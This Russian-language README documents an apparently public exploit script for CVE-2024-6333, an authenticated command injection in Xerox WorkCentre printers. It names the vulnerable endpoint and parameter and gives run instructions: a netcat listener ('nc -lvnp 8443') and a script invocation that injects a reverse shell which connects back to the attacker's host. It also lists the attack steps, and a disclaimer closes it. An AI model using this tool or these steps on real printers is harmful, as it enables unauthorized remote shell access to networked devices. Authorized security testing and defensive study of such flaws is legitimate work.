CVE-2024-6333 - Аутентифицированное удалённое выполнение кода в Xerox

Аутентифицированное удалённое выполнение кода в принтерах Xerox WorkCentre через функцию журнала сетевой диагностики.

Описание

Функция журнала сетевой диагностики (/properties/security/network_troubleshooting_log.php) не очищает параметр сервера назначения (security.nwtroubleshoot.destination.server), что позволяет аутентифицированному администратору внедрять произвольные команды ОС. При запуске захвата сетевого журнала внедрённая полезная нагрузка выполняется как shell-команда, что приводит к удалённому выполнению кода.

Затронутые продукты

• XEROX WorkCentre 6655 (протестировано на прошивке 073.110.019.14200)
• Множество других моделей принтеров Xerox (см. бюллетень)

Ссылки

• https://sec-consult.com/vulnerability-lab/advisory/authenticated-remote-code-execution-in-multiple-xerox-printers/
• https://nvd.nist.gov/vuln/detail/CVE-2024-6333

Требования

• Python 3
• Действительные учётные данные администратора на целевом принтере
• Сетевой доступ к цели

Установка

pip install -r requirements.txt

Использование

Запустите слушатель на вашей машине:

nc -lvnp 8443

Запустите эксплойт:

python3 CVE-2024-6333.py --target https://<PRINTER_IP> --lhost <YOUR_IP> --lport 8443

Аргументы

Как это работает

1. Выполняет аутентификацию в веб-интерфейсе принтера с использованием предоставленных учётных данных
2. Останавливает все существующие сеансы журнала сетевой диагностики
3. Внедряет полезную нагрузку reverse shell в поле сервера назначения
4. Запускает захват сетевого журнала, выполняя полезную нагрузку
5. Ожидает 30 секунд, затем отправляет команду очистки/остановки

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным.